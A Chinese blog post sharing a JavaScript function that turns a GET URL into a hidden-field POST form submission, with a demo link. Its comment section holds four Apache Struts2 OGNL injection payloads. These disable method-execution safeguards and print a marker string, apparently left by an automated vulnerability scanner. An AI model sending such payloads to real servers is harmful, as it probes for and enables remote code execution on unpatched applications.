javascript实现form get 转为 post 方式提交

直接就是上代码。

<script type="application/javascript" language="javascript">
function openurl(url) {
   var formObject = document.createElement('form');
   document.body.appendChild(formObject);
   formObject.setAttribute('method', 'post');
 
  var uri = '';
  var i = url.indexOf('?');
 
  if(i == -1) {
   formObject.action = url;
  } else {
   formObject.action = url.substring(0, i);
  }
 
  if( i >= 0 && url.length >= i + 1) {
   uri = url.substring(i + 1, url.length);
  }
 
  var sa = uri.split('&');
 
  for(var i = 0; i < sa.length; i++) {
  var isa = sa[i].split('=');  
  var inputObject = document.createElement('input');
   inputObject.setAttribute('type', 'hidden');
   inputObject.setAttribute('name', isa[0]);
   inputObject.setAttribute('value', isa[1]);
   formObject.appendChild(inputObject);
  }
 
  formObject.submit();
 
  return false;
}
 
// 当然你可以直接传url进来~
 function searchTo(){
    var url='http://demo.com/letterQuery.do?currentPage=1&ispublic=0&acceptdeptid='
   +'市教育局';
  openurl(url);
 }
</script>

demo:

<a href="#" onclick="searchTo()" target="_blank" >信箱</a>

45 thoughts on “javascript实现form get 转为 post 方式提交

  1. ‘+(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-’,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+’

  2. ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-’,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close()}

  3. ‘+(#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-’,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+’

  4. (#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-’,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)

发表评论